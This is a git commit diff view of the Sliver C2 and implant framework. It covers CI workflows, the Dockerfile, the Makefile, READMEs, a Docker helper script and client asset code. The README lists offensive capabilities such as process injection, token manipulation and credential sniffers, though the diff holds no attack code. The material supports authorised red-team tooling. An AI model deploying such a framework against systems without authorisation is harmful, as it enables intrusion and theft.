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Author SHA1 Message Date
moloch-- 875e67b753 Fix Dockerfile case 2024-08-23 10:14:37 -07:00
moloch-- a8e807d284 Go 1.23.0 2024-08-23 10:05:39 -07:00
9727 changed files with 875514 additions and 3145368 deletions

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-7
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@@ -1,9 +1,4 @@
# go-assets.sh downloads
/server/assets/fs/**.zip
/server/assets/fs/**/garble*
/server/assets/fs/**/zig.tar.xz
/server/assets/fs/**/zig.zip
/server/assets/fs/src.zip
/*.sdk.tar.xz
@@ -24,5 +19,3 @@
/SECURITY.md
/README.md
/CONTRIBUTING.md
.downloaded_assets
+115 -69
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@@ -2,90 +2,136 @@ name: Release
on:
push:
branches:
- master
permissions:
contents: write
branches: [master]
jobs:
tag-check:
name: Check Release Tag
servers-build:
name: Release Build Server
if: startsWith( github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
timeout-minutes: 30
outputs:
tag: ${{ steps.tag.outputs.tag }}
steps:
- name: Check Out Code
uses: actions/checkout@v6
with:
fetch-depth: 0
- name: Find Semver Tag
id: tag
run: |
git fetch --prune --tags -f
tag=$(git tag --points-at "$GITHUB_SHA" | grep -E '^v[0-9]+\.[0-9]+\.[0-9]+$' | head -n 1)
echo "tag=$tag" >> "$GITHUB_OUTPUT"
release:
name: Release
needs: tag-check
if: needs.tag-check.outputs.tag != ''
runs-on: ubuntu-latest
environment: release
timeout-minutes: 45
steps:
- name: Go 1.23
uses: actions/setup-go@v5
with:
go-version: "^1.23"
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip
- name: Check Out Code
uses: actions/checkout@v6
uses: actions/checkout@v4
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Make
run: make servers
- name: Server Artifacts
uses: actions/upload-artifact@v4
with:
fetch-depth: 0
name: servers
path: ./sliver-server_*
- name: Go 1.25
uses: actions/setup-go@v6
clients-build:
name: Release Build Client
if: startsWith( github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- name: Go 1.23
uses: actions/setup-go@v5
with:
go-version: "1.25.6"
go-version: "^1.23"
- name: Install Minisign
run: sudo apt-get update --fix-missing && sudo apt-get -y install minisign
- name: Check Out Code
uses: actions/checkout@v4
- name: Build Clients
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Make
run: make clients
- name: Client Artifacts
uses: actions/upload-artifact@v4
with:
name: clients
path: ./sliver-client_*
tagged-release:
needs: [servers-build, clients-build]
name: "Tagged Release"
if: startsWith( github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- run: mkdir -p ./builds
- uses: actions/download-artifact@v4
with:
path: ./builds
- name: Extract Artifacts
run: |
make clients
mkdir -p artifacts
mv sliver-client_* artifacts/
mkdir -p ./artifacts
cp ./builds/clients/* ./artifacts
cp ./builds/servers/* ./artifacts
- name: Build Servers
- name: GPG Key(s)
run: |
make servers
mv sliver-server_* artifacts/
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
gpg --list-secret-keys --keyid-format LONG
- name: Sign Artifacts
env:
MINISIGN_KEY: ${{ secrets.MINISIGN_SLIVER_RELEASE_KEY }}
# Linux
- name: Linux 386 (Client Only)
run: |
echo "$MINISIGN_KEY" | base64 -d > minisign.key
echo "minisign.key bytes: $(wc -c < minisign.key | tr -d ' ')"
echo "minisign.key sha256: $(sha256sum minisign.key | awk '{print $1}')"
chmod 600 minisign.key
for file in artifacts/sliver-*; do
[ -f "$file" ] || continue
minisign -S -s minisign.key -m "$file" -x "$file.minisig" -W
done
rm -f minisign.key
- name: Create Release
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-386.sig --detach-sig ./artifacts/sliver-client_linux-386
- name: Linux AMD64
run: |
tag="${{ needs.tag-check.outputs.tag }}"
if gh release view "$tag" >/dev/null 2>&1; then
echo "Release $tag already exists."
exit 0
fi
gh release create "$tag" --generate-notes
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux-amd64.sig --detach-sig ./artifacts/sliver-server_linux-amd64
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-amd64.sig --detach-sig ./artifacts/sliver-client_linux-amd64
- name: Linux ARM64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux-arm64.sig --detach-sig ./artifacts/sliver-server_linux-arm64
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-arm64.sig --detach-sig ./artifacts/sliver-client_linux-arm64
- name: Upload Artifacts
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: gh release upload "${{ needs.tag-check.outputs.tag }}" artifacts/* --clobber
# Windows
- name: Windows 386 (Client Only)
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-386.sig --detach-sig ./artifacts/sliver-client_windows-386.exe
- name: Windows AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows-amd64.sig --detach-sig ./artifacts/sliver-server_windows-amd64.exe
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-amd64.sig --detach-sig ./artifacts/sliver-client_windows-amd64.exe
- name: Windows ARM64 (Client Only)
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-arm64.sig --detach-sig ./artifacts/sliver-client_windows-arm64.exe
# MacOS
- name: MacOS AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-amd64.sig --detach-sig ./artifacts/sliver-server_macos-amd64
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-amd64.sig --detach-sig ./artifacts/sliver-client_macos-amd64
- name: Package MacOS ARM64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
# FreeBSD
- name: FreeBSD AMD64 (Client Only)
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-client_freebsd-amd64.sig --detach-sig ./artifacts/sliver-client_freebsd-amd64.exe
- name: FreeBSD ARM64 (Client Only)
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-client_freebsd-arm64.sig --detach-sig ./artifacts/sliver-client_freebsd-arm64.exe
- name: "Publish Release"
uses: "bishopfox/action-gh-release@v1"
with:
files: |
./artifacts/*
+7 -7
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@@ -16,13 +16,13 @@ jobs:
steps:
# Setup go environment
- name: Go 1.25
uses: actions/setup-go@v6
- name: Go 1.23
uses: actions/setup-go@v5
with:
go-version: "1.25.6"
go-version: "^1.23"
- name: Checkout repository
uses: actions/checkout@v6
uses: actions/checkout@v4
with:
# Must fetch at least the immediate parents so that if this is
# a pull request then we can checkout the head of the pull request.
@@ -36,10 +36,10 @@ jobs:
git build-essential zlib1g zlib1g-dev wget zip unzip
- name: Check Out Code
uses: actions/checkout@v6
uses: actions/checkout@v4
- name: Initialize CodeQL
uses: github/codeql-action/init@v4
uses: github/codeql-action/init@v3
with:
config-file: ./.github/codeql/codeql-config.yml
languages: go
@@ -48,6 +48,6 @@ jobs:
run: make
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v4
uses: github/codeql-action/analyze@v3
env:
VERSION: ${{github.sha}}
+4 -4
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@@ -35,7 +35,7 @@ jobs:
steps:
- name: Checkout
uses: actions/checkout@v6
uses: actions/checkout@v4
- name: Detect package manager
id: detect-package-manager
@@ -56,7 +56,7 @@ jobs:
fi
- name: Setup Node
uses: actions/setup-node@v6
uses: actions/setup-node@v4
with:
cache: "npm"
cache-dependency-path: "**/package-lock.json"
@@ -66,7 +66,7 @@ jobs:
uses: actions/configure-pages@v5
- name: Restore cache
uses: actions/cache@v5
uses: actions/cache@v4
with:
path: |
.next/cache
@@ -85,7 +85,7 @@ jobs:
run: ${{ steps.detect-package-manager.outputs.runner }} next build
- name: Upload artifact
uses: actions/upload-pages-artifact@v4
uses: actions/upload-pages-artifact@v3
with:
path: ${{ github.workspace }}/docs/sliver-docs/out
+23 -50
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@@ -21,12 +21,12 @@ jobs:
linux-windows-build-test:
name: Linux & Windows Test
runs-on: ubuntu-latest
timeout-minutes: 180
timeout-minutes: 90
steps:
- name: Go 1.25
uses: actions/setup-go@v6
- name: Go 1.23
uses: actions/setup-go@v5
with:
go-version: "1.25.6"
go-version: "^1.23"
- name: OS Packages
run: |
@@ -34,49 +34,35 @@ jobs:
git build-essential zlib1g zlib1g-dev wget zip unzip
- name: Check Out Code
uses: actions/checkout@v6
uses: actions/checkout@v4
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Make Linux (amd64)
run: make linux-amd64
- name: Test Linux
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Make Windows (amd64)
run: make windows-amd64
- name: Make Linux (arm64)
run: make linux-arm64
- name: Make Linux (amd64)
run: make linux-amd64
- name: Determine go-tests flags
id: go-tests-flags
shell: bash
run: |
set -euo pipefail
base_sha="${{ github.event.pull_request.base.sha }}"
head_sha="${{ github.sha }}"
if git diff --name-only "$base_sha" "$head_sha" | grep -qE '^(implant/|server/gogo/|server/generate/)'; then
echo "args=" >> "$GITHUB_OUTPUT"
else
echo "args=--skip-generate" >> "$GITHUB_OUTPUT"
fi
- name: Test Linux
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh ${{ steps.go-tests-flags.outputs.args }}
macos-build-test:
name: MacOS Test
runs-on: macos-latest
timeout-minutes: 180
timeout-minutes: 90
steps:
- name: Go 1.25
uses: actions/setup-go@v6
- name: Go 1.23
uses: actions/setup-go@v5
with:
go-version: "1.25.6"
go-version: "^1.23"
- name: Check Out Code
uses: actions/checkout@v6
uses: actions/checkout@v4
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
@@ -84,37 +70,24 @@ jobs:
- name: Make MacOS (amd64)
run: make macos-amd64
- name: Test MacOS (amd64)
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Make MacOS (arm64)
run: make macos-arm64
- name: Determine go-tests flags
id: go-tests-flags
shell: bash
run: |
set -euo pipefail
base_sha="${{ github.event.pull_request.base.sha }}"
head_sha="${{ github.sha }}"
if git diff --name-only "$base_sha" "$head_sha" | grep -qE '^(implant/|server/gogo/|server/generate/)'; then
echo "args=" >> "$GITHUB_OUTPUT"
else
echo "args=--skip-generate" >> "$GITHUB_OUTPUT"
fi
- name: Test MacOS
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh ${{ steps.go-tests-flags.outputs.args }}
clients-build:
name: Clients Build
runs-on: ubuntu-latest
timeout-minutes: 90
steps:
- name: Go 1.25
uses: actions/setup-go@v6
- name: Go 1.23
uses: actions/setup-go@v5
with:
go-version: "1.25.6"
go-version: "^1.23"
- name: Check Out Code
uses: actions/checkout@v6
uses: actions/checkout@v4
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
-7
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@@ -2,11 +2,6 @@
/.devcontainer
/.idea
/artifacts
/artifacts/**
*.rc
/Dockerfile.*
/*.sdk.tar.xz
@@ -50,8 +45,6 @@ sliver-server-windows.zip
.DS_Store
dist/
.gocache/
.gomodcache/
# Flag to show that go-assets.sh has been run
.downloaded_assets
-18
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@@ -1,18 +0,0 @@
# Repository Guidelines
## Build, Test, and Development Commands
- `make` builds server + client using vendored modules and runs `go-assets.sh`.
- `make client` builds a CGO-free client; `make debug` keeps symbols.
- `make pb` regenerates protobuf stubs from `protobuf/`.
- `./go-tests.sh` runs the curated Go test suite with build tags.
- Docs site: `cd docs/sliver-docs && npm install && npm run dev` for local dev; `npm run build` for a static build.
## Coding Style & Naming Conventions
- Run `gofmt` on all Go code; keep package names lowercase and idiomatic.
- Avoid `CGO` and empty interfaces; prefer explicit types and interfaces.
- Do not import `server` packages from `client`.
## Testing Guidelines
- Prefer `docker build --target test --build-arg GO_TESTS_FLAGS=--skip-generate .`
- Add or update tests when behavior changes; some server packages run longer tests.
+6 -10
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@@ -5,12 +5,11 @@
#
# For unit testing:
# docker build --target test .
# docker build --target test --build-arg GO_TESTS_FLAGS=--skip-generate .
#
# STAGE: base
## Compiles Sliver for use
FROM golang:latest AS base
FROM golang:1.23.0 AS base
### Base packages
RUN apt-get update --fix-missing && apt-get -y install \
@@ -21,19 +20,16 @@ RUN groupadd -g 999 sliver && useradd -r -u 999 -g sliver sliver
RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
### Build sliver:
RUN mkdir -p /go/src/github.com/bishopfox/sliver
WORKDIR /go/src/github.com/bishopfox/sliver
ADD . /go/src/github.com/bishopfox/sliver/
RUN make
RUN make clean-all
RUN make
RUN cp -vv sliver-server /opt/sliver-server
# STAGE: test
## Run unit tests against the compiled instance
## Use `--target test` in the docker build command to run this stage
FROM base AS test
ARG GO_TESTS_FLAGS=""
ENV GO_TESTS_FLAGS="${GO_TESTS_FLAGS}"
FROM base as test
RUN apt-get update --fix-missing \
&& apt-get -y upgrade \
@@ -43,7 +39,7 @@ RUN apt-get update --fix-missing \
RUN /opt/sliver-server unpack --force
### Run unit tests
RUN /go/src/github.com/bishopfox/sliver/go-tests.sh ${GO_TESTS_FLAGS}
RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
# STAGE: production
## Final dockerized form of Sliver
@@ -95,7 +91,7 @@ ENTRYPOINT [ "/opt/sliver-server" ]
# STAGE: production-slim (about 1Gb smaller)
FROM debian:bookworm-slim AS production-slim
FROM debian:bookworm-slim as production-slim
### Install production packages
RUN apt-get update --fix-missing \
+36 -17
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@@ -16,32 +16,49 @@ endif
# Prerequisites
#
# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
EXECUTABLES = uname sed git date cut $(GO)
EXECUTABLES = uname sed git zip date cut $(GO)
K := $(foreach exec,$(EXECUTABLES),\
$(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
#
# Build Information
# Version Information
#
GO_VERSION = $(shell $(GO) version)
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
MIN_SUPPORTED_GO_MINOR_VERSION = 25
MIN_SUPPORTED_GO_MINOR_VERSION = 21
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
SLIVER_PUBLIC_KEY ?= RWTZPg959v3b7tLG7VzKHRB1/QT+d3c71Uzetfa44qAoX5rH7mGoQTTR
VERSION ?= $(shell git describe --abbrev=0)
COMPILED_AT = $(shell date +%s)
RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
ARMORY_PUBLIC_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
VERSION_PKG = github.com/bishopfox/sliver/client/version
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
SLIVER_UPDATE_PKG = github.com/bishopfox/sliver/client/command/update
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
GIT_COMMIT = $(shell git rev-parse HEAD)
LDFLAGS = -ldflags "-s -w \
-X $(SLIVER_UPDATE_PKG).SliverPublicKey=$(SLIVER_PUBLIC_KEY) \
-X $(VERSION_PKG).Version=$(VERSION) \
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
# Debug builds shouldn't be stripped (-s -w flags)
LDFLAGS_DEBUG = -ldflags "-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
LDFLAGS_DEBUG = -ldflags "-X $(VERSION_PKG).Version=$(VERSION) \
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
SED_INPLACE := sed -i
@@ -66,9 +83,7 @@ endif
# If no target is specified, determine GOARCH
ifeq ($(UNAME_P),arm)
ifeq ($(MAKECMDGOALS), )
ifeq ($(origin GOARCH), undefined)
ENV += GOARCH=arm64
endif
ENV += GOARCH=arm64
endif
endif
@@ -76,6 +91,12 @@ ifeq ($(MAKECMDGOALS), linux)
# Redefine LDFLAGS to add the static part
LDFLAGS = -ldflags "-s -w \
-extldflags '-static' \
-X $(VERSION_PKG).Version=$(VERSION) \
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
endif
@@ -84,10 +105,9 @@ endif
# Targets
#
.PHONY: default
default: clean validate-go-version
env -u GOOS -u GOARCH $(MAKE) GOOS= GOARCH= .downloaded_assets
$(ENV) $(if $(GOOS),GOOS=$(GOOS)) $(if $(GOARCH),GOARCH=$(GOARCH)) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
$(ENV) $(if $(GOOS),GOOS=$(GOOS)) $(if $(GOARCH),GOARCH=$(GOARCH)) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
default: clean .downloaded_assets validate-go-version
$(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
$(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
# Allows you to build a CGO-free client for any target e.g. `GOOS=windows GOARCH=arm64 make client`
# NOTE: WireGuard is not supported on all platforms, but most 64-bit GOOS/GOARCH combinations should work.
@@ -134,9 +154,8 @@ clients: clean .downloaded_assets validate-go-version
GOOS=freebsd GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_freebsd-arm64$(ARTIFACT_SUFFIX) ./client
.PHONY: servers
servers: clean .downloaded_assets validate-go-version
servers:
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_windows-amd64$(ARTIFACT_SUFFIX).exe ./server
GOOS=windows GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_windows-arm64$(ARTIFACT_SUFFIX).exe ./server
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-amd64$(ARTIFACT_SUFFIX) ./server
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-arm64$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-arm64$(ARTIFACT_SUFFIX) ./server
@@ -180,5 +199,5 @@ clean:
rm -f sliver-client sliver-client_* sliver-server sliver-server_* sliver-*.exe
.downloaded_assets:
$(ENV) $(GO) run -mod=vendor ./util/cmd/assets
./go-assets.sh
touch ./.downloaded_assets
+11 -3
View File
@@ -6,7 +6,11 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
[![Release](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml/badge.svg)](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
Visit [https://sliver.sh/](https://sliver.sh/) for tutorials and documentation.
# v1.6.0 / `master`
**NOTE:** You are looking the latest master branch of Sliver v1.6.0; new PRs should target this branch. However, this branch is NOT RECOMMENDED for production use yet. Please use release tagged versions for the best experience.
For PRs containing bug fixes specific to Sliver v1.5, please target the [`v1.5.x/master` branch](https://github.com/BishopFox/sliver/tree/v1.5.x/master).
### Features
@@ -17,7 +21,7 @@ Visit [https://sliver.sh/](https://sliver.sh/) for tutorials and documentation.
- [Procedurally generated C2](https://sliver.sh/docs?name=HTTPS+C2) over HTTP(S)
- [DNS canary](https://sliver.sh/docs?name=DNS+C2) blue team detection
- [Secure C2](https://sliver.sh/docs?name=Transport+Encryption) over mTLS, WireGuard, HTTP(S), and DNS
- Fully scriptable using [Python](https://github.com/moloch--/sliver-py)
- Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
- Windows process migration, process injection, user token manipulation, etc.
- Let's Encrypt integration
- In-memory .NET assembly execution
@@ -35,12 +39,16 @@ Download the latest [release](https://github.com/BishopFox/sliver/releases) and
### Help!
Please checkout the [wiki](https://sliver.sh/), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions).
Please checkout the [wiki](https://sliver.sh/), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions). We also tend to hang out in the #golang Slack channel on the [Bloodhound Gang](https://bloodhoundgang.herokuapp.com/) server.
### Compile From Source
See the [wiki](https://sliver.sh/docs?name=Compile+from+Source).
### Feedback
Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6)
### License - GPLv3
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
Executable
+135
View File
@@ -0,0 +1,135 @@
#!/usr/bin/env python3
"""
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
"""
import os
import sys
import argparse
INFO = "\033[1m\033[36m[*]\033[0m "
WARN = "\033[1m\033[31m[!]\033[0m "
BOLD = "\033[1m"
NORM = "\033[0m"
def exec_cmd(cmd, ignore_status=False):
"""Executes a command with some sugar"""
print("\n" + INFO + " %s\n" % cmd)
status = os.system(cmd)
if status != 0 and not ignore_status:
print("\n" + WARN + "Command did not exit cleanly (%s) " % status)
if input("continue? [Y/n]: ").upper() != "Y":
sys.exit(status)
return status
def docker_rm_volumes():
exec_cmd("docker volume rm $(docker volume ls -q)", ignore_status=True)
def docker_rm_containers():
exec_cmd("docker rm $(docker ps -a -q)", ignore_status=True)
def docker_rm_images():
exec_cmd("docker rmi -f $(docker images -q)", ignore_status=True)
def docker_prune():
exec_cmd("docker image prune -f", ignore_status=True)
def docker_rm_all():
docker_rm_containers()
docker_rm_images()
docker_rm_volumes()
def build():
status = exec_cmd("docker build --target test .")
if status == 0:
print("\n\n" + INFO + "Build successful")
def main(args):
"""Execute the respective task(s) based on cli args"""
if args.rm_images:
docker_rm_images()
if args.rm_containers:
docker_rm_containers()
if args.rm_volumes:
docker_rm_volumes()
if args.rm_all:
docker_rm_all()
if not args.no_prune:
docker_prune()
if not args.no_build:
build()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="automates interactions with docker")
parser.add_argument(
"--no-build",
"-b",
help="do not run build",
dest="no_build",
action="store_true",
)
parser.add_argument(
"--no-prune",
"-np",
help="do not prune images",
dest="no_prune",
action="store_true",
)
parser.add_argument(
"--rm-all",
"-rma",
help="rm all containers, images, and volumes",
dest="rm_all",
action="store_true",
)
parser.add_argument(
"--rm-containers",
"-rmc",
help="rm all containers",
dest="rm_containers",
action="store_true",
)
parser.add_argument(
"--rm-images",
"-rmi",
help="rm all images",
dest="rm_images",
action="store_true",
)
parser.add_argument(
"--rm-volumes",
"-rmv",
help="rm dangling volumes only",
dest="rm_volumes",
action="store_true",
)
try:
main(parser.parse_args())
except KeyboardInterrupt:
print("\n\n" + WARN + "User stopped process")
+15 -23
View File
@@ -1,26 +1,18 @@
# client
Client
=======
## Overview
This directory contains the client implementation, pretty much all of this code is also used by the server console.
Main command-line client for interacting with and administering Sliver servers. Provides the Cobra entrypoint and aggregates console, command, and transport subsystems.
__Important:__ No code in this directory can import any code from `server/`.
## Go Files
- `main.go` – Entry point that initializes the CLI, processes flags, and launches the interactive console.
## Sub-packages
- `assets/` – Manages embedded client asset manifests such as operator profiles, settings, and armory catalogs. Handles serialization, bundling, and lookup of static client metadata.
- `cli/` – Defines the Cobra root command and CLI initialization for the Sliver client binary. Sets up persistent flags, environment bootstrapping, and command wiring.
- `command/` – Shared registration glue, scaffolding, and helpers for Sliver client console command groups. Hosts common utilities for binding Cobra commands to RPC-backed actions.
- `console/` – Renders the interactive console UI, logging, and terminal helpers for the client. Coordinates readline behavior, prompt styling, and message formatting.
- `constants/` – Centralizes constants shared across the client runtime and command packages. Captures strings, flag names, and feature toggles used throughout the CLI.
- `core/` – Maintains client application state, background workers, and RPC coordination. Orchestrates session tracking, event streams, and health checks.
- `credentials/` – Credential management utilities including sniffers and import helpers for operators. Provides parsers, storage helpers, and output formatting for recovered secrets.
- `licenses/` – Holds embedded license metadata bundled with the client distribution. Supplies license retrieval utilities used for attribution commands.
- `overlord/` – Supervises long-running client jobs, scheduling, and task orchestration. Tracks job lifecycle events and exposes status updates to the console.
- `packages/` – Deals with packaged extensions and module discovery for the client. Scans, validates, and caches extension manifests and assets.
- `spin/` – Lightweight terminal spinner utilities used for progress feedback. Wraps spinner styles and timing helpers shared across commands.
- `tcpproxy/` – Implements the local TCP proxy used for port forwarding from the client side. Manages listener lifecycles, connection pumps, and cleanup hooks.
- `transport/` – Client-side transports and RPC wiring to communicate with Sliver servers. Builds authenticated gRPC clients, TLS dialers, and reconnect logic.
- `version/` – Build-time version and semantic metadata for the client binary. Exposes git information, release channels, and helper formatters.
* `assets/` - Static asset files and management code (e.g. client configs)
* `cli/` - Command line interface implementation
* `command/` - Console command implementations
* `constants/` - Various shared constant values
* `core/` - Client state management
* `licenses/` - Open source licenses
* `spin/` - Console spinner library
* `tcpproxy/` - Local TCP proxy listener code
* `transport/` - Wires the client to the server
* `version/` - Version information
* `main.go` - Entrypoint
+2 -14
View File
@@ -1,15 +1,3 @@
# client/assets
Assets
======
## Overview
Manages embedded client asset manifests such as operator profiles, settings, and armory catalogs. Handles serialization, bundling, and lookup of static client metadata. Core logic addresses aliases, armories, C2 profiles, and extensions within the assets package.
## Go Files
- `aliases.go` – Provides helpers for discovering, installing, and reading alias manifests shipped with the client.
- `armories.go` – Loads configured armory definitions and persists operator customizations.
- `assets.go` – Central entry point that exposes asset directories, lazy initialization, and filesystem utilities.
- `c2profiles.go` – Embeds default HTTP C2 profile templates and exposes lookup utilities.
- `config.go` – Tracks client configuration paths and manages persistence of runtime options.
- `extensions.go` – Handles embedded extension manifests and supports lookup by command name.
- `settings.go` – Stores default console settings and manages serialization to disk.
+6 -24
View File
@@ -34,19 +34,12 @@ const (
SliverClientDirName = ".sliver-client"
versionFileName = "version"
envVarName = "SLIVER_CLIENT_ROOT_DIR"
)
// GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
func GetRootAppDir() string {
value := os.Getenv(envVarName)
var dir string
if len(value) == 0 {
user, _ := user.Current()
dir = filepath.Join(user.HomeDir, SliverClientDirName)
} else {
dir = value
}
user, _ := user.Current()
dir := filepath.Join(user.HomeDir, SliverClientDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
@@ -80,18 +73,6 @@ func GetConsoleLogsDir() string {
return consoleLogsDir
}
// GetMCPLogsDir - Get the Sliver client MCP logs dir ~/.sliver-client/logs/mcp/
func GetMCPLogsDir() string {
mcpLogsDir := filepath.Join(GetClientLogsDir(), "mcp")
if _, err := os.Stat(mcpLogsDir); os.IsNotExist(err) {
err = os.MkdirAll(mcpLogsDir, 0700)
if err != nil {
log.Fatal(err)
}
